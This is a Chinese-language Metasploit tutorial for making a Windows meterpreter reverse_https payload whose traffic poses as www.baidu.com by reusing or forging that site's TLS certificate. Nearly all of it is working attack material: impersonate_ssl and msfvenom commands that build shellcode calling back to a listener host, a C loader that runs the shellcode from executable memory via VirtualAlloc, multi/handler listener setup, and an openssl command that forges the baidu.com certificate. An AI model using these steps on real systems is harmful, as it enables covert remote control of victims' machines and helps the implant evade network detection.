Metasploit 生成带SSL加密载荷

1.下载证书。Impersonate_SSL模块，下载指定网站的证书。

msf6> use auxiliary/gather/impersonate_ssl
msf6 auxiliary(gather/impersonate_ssl) > set rhost  www.baidu.com
msf6 auxiliary(gather/impersonate_ssl) > run

得到：/root/.msf4/loot/20210629003816_default_110.242.68.4_110.242.68.4_pem_993753.pem

2.生成带有ssl证书的shellcode代码。

msf auxiliary(impersonate_ssl) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > set STAGERVERIFYSSLCERT true
msf payload(reverse_https) > set HANDLERSSLCERT /root/.msf4/loot/20210629003816_default_110.242.68.4_110.242.68.4_pem_993753.pem
msf payload(reverse_https) > set LHOST 192.168.140.128
msf payload(reverse_https) > set LPORT 8443
msf6 payload > generate -f c -o /root/shell.c

3.打开生成文件，然后加入到shellcode执行盒中。

typedef void(__stdcall* CODE) ();

int main()
{
    //((void(*)(void))&buf)();
    PVOID pFunction = NULL;
    pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pFunction, buf, sizeof(buf));
    CODE StartShell = (CODE)pFunction;
    StartShell();
}

4.建立侦听

use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set HANDLERSSLCERT  /root/.msf4/loot/20210629003816_default_110.242.68.4_110.242.68.4_pem_993753.pem
msf exploit(handler) > set STAGERVERIFYSSLCERT true
msf exploit(handler) > set LPORT 8443
msf exploit(handler) > set LHOST 192.168.140.128
msf exploit(handler) > run -j

确保网站可以打开。

运行后即可上线。

如果需要自己制作证书，则可以使用，脚本生成。

#!/bin/bash
clear
read -p "Password:" PASS
echo "创建AES256加密密钥..."
openssl genrsa -passout pass:${PASS} -out rsa_aes_private.pem 2048
echo "生成公钥..."
openssl rsa -in rsa_aes_private.pem -passin pass:${PASS} -pubout -out rsa_public.pem
echo "PEM私钥转DER..."
openssl rsa -in rsa_aes_private.pem -passin pass:${PASS} -out rsa_private_key.der -outform der 
echo "PEM公钥转DER..."
openssl rsa -in rsa_public.pem -out rsa_public_key.der -pubin -outform der 
echo "Finish!"

1.通过openssl伪造证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt
cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem
rm -rf www.baidu.com.key www.baidu.com.crt

2.非交互生成shellcode

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.140.128 LPORT=8443 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/test/www.baidu.com.pem StagerVerifySSLCert=true -f c -o /root/test.c

3.启动侦听

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.140.128
set LPORT 8443
set HandlerSSLCert /root/test/www.baidu.com.pem
set StagerVerifySSLCert true
exploit -j -z
